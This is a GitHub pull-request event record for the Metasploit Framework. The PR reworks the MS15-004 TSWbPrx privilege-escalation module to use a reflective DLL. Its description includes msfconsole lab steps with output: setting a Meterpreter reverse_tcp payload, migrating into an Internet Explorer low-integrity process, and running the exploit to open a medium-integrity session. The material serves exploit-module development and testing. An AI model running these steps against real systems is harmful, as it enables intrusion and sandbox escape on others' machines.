{"action":"closed","number":5896,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5896","id":43449786,"html_url":"https://github.com/rapid7/metasploit-framework/pull/5896","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5896.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5896.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5896","number":5896,"state":"closed","locked":false,"title":"Update ms15_004_tswbproxy to use a Reflective DLL","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"body":"ms15_004_tswbproxy was using the old \"from memory\" meterpreter library loader because IE elevation policies aren't applied to Reflective DLLs. This PR is an exercise to allow a reflective DLL to be hijacked with the IE Shims, so the elevation policies apply, and the library can be used to exploits bugs as the MS15-004 one.\r\n\r\n(As a design decision everything has been coded into the Reflective DLL, the intention is not to modify the reflective loader).\r\n\r\nVerification\r\n--------------\r\n- [x] Install a Windows 7 SP1 target. I've tested with IE11. But really you just need a target were the ms15_004_tswbproxy used to work.\r\n- [x] Get a meterpreter session on the target.\r\n\r\n```\r\nmsf > use exploit/multi/handler\r\nmsf exploit(handler) > set payload windows/meterpreter/reverse_tcp\r\npayload => windows/meterpreter/reverse_tcp\r\nmsf exploit(handler) > set lhost 172.16.158.1\r\nlhost => 172.16.158.1\r\nmsf exploit(handler) > rexploit\r\n[*] Reloading module...\r\n\r\n[*] Started reverse handler on 172.16.158.1:4444\r\n[*] Starting the payload handler...\r\n[*] Sending stage (885806 bytes) to 172.16.158.131\r\n[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.131:51041) at 2015-08-26 15:28:01 -0500\r\n\r\n```\r\n\r\n- [x] Migrate to an IE Low Privileged renderer.\r\n\r\n```\r\nmeterpreter > migrate 3500\r\n[*] Migrating from 2708 to 3500...\r\n;[*] Migration completed successfully.\r\nmeterpreter > background\r\n[*] Backgrounding session 1...\r\n```\r\n\r\n- [x] Run the ms15_004_tswbproxy on the session\r\n\r\n```\r\nmsf exploit(handler) > use exploit/windows/local/ms15_004_tswbproxy\r\nmsf exploit(ms15_004_tswbproxy) > set session 1\r\nsession => 1\r\nmsf exploit(ms15_004_tswbproxy) > set payload windows/meterpreter/reverse_tcp\r\npayload => windows/meterpreter/reverse_tcp\r\nmsf exploit(ms15_004_tswbproxy) > set lhost 172.16.158.1\r\nlhost => 172.16.158.1\r\nmsf exploit(ms15_004_tswbproxy) > rexploit\r\n[*] Reloading module...\r\n\r\n[*] Started reverse handler on 172.16.158.1:4444\r\n[*] Checking target...\r\n[*] Checking the Process Integrity Level...\r\n[*] Storing payload on environment variable...\r\n[*] Exploiting...\r\n[*] Injecting exploit into 3500...\r\n[*] Payload injected. Executing exploit...\r\n[*] Sending stage (885806 bytes) to 172.16.158.131\r\n[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.131:51042) at 2015-08-26 15:28:44 -0500\r\n\r\nmeterpreter > getpid\r\nCurrent pid: 3232\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 172.16.158.131 - Meterpreter session 2 closed.  Reason: User exit\r\n```\r\n\r\n- [x] Verify which you get a new session on a Medium Integrity Process.\r\n\r\n![pr](https://cloud.githubusercontent.com/assets/1742838/9505704/8df05b76-4c09-11e5-9e99-e10b38a4ce90.png)\r\n","created_at":"2015-08-26T20:46:04Z","updated_at":"2015-08-27T22:11:56Z","closed_at":"2015-08-27T22:11:56Z","merged_at":"2015-08-27T22:11:56Z","merge_commit_sha":"35512c88ccfdbe90fef82d4e59769cb89f01fc16","assignee":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5896/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5896/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5896/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/ecf3fb61d6f8c5fda1262cb1aea02e08267d30bc","head":{"label":"jvazquez-r7:reflective_dll_ie_policy","ref":"reflective_dll_ie_policy","sha":"ecf3fb61d6f8c5fda1262cb1aea02e08267d30bc","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"repo":{"id":6786012,"name":"metasploit-framework","full_name":"jvazquez-r7/metasploit-framework","owner":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jvazquez-r7/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework","forks_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/releases{/id}","created_at":"2012-11-20T22:07:34Z","updated_at":"2015-05-08T16:22:10Z","pushed_at":"2015-08-26T22:08:45Z","git_url":"git://github.com/jvazquez-r7/metasploit-framework.git","ssh_url":"git@github.com:jvazquez-r7/metasploit-framework.git","clone_url":"https://github.com/jvazquez-r7/metasploit-framework.git","svn_url":"https://github.com/jvazquez-r7/metasploit-framework","homepage":"http://www.metasploit.com/","size":710149,"stargazers_count":4,"watchers_count":4,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":3,"mirror_url":null,"open_issues_count":2,"forks":3,"open_issues":2,"watchers":4,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"c2879d40207ceb6edbbd42c0a4cdd252a3a57888","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-08-27T21:22:42Z","pushed_at":"2015-08-27T22:11:44Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1080628,"stargazers_count":4363,"watchers_count":4363,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3365,"mirror_url":null,"open_issues_count":233,"forks":3365,"open_issues":233,"watchers":4363,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5896"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5896"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5896"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5896/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5896/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5896/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/ecf3fb61d6f8c5fda1262cb1aea02e08267d30bc"}},"merged":true,"mergeable":null,"mergeable_state":"unknown","merged_by":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"comments":2,"review_comments":0,"commits":4,"additions":3169,"deletions":326,"changed_files":42}}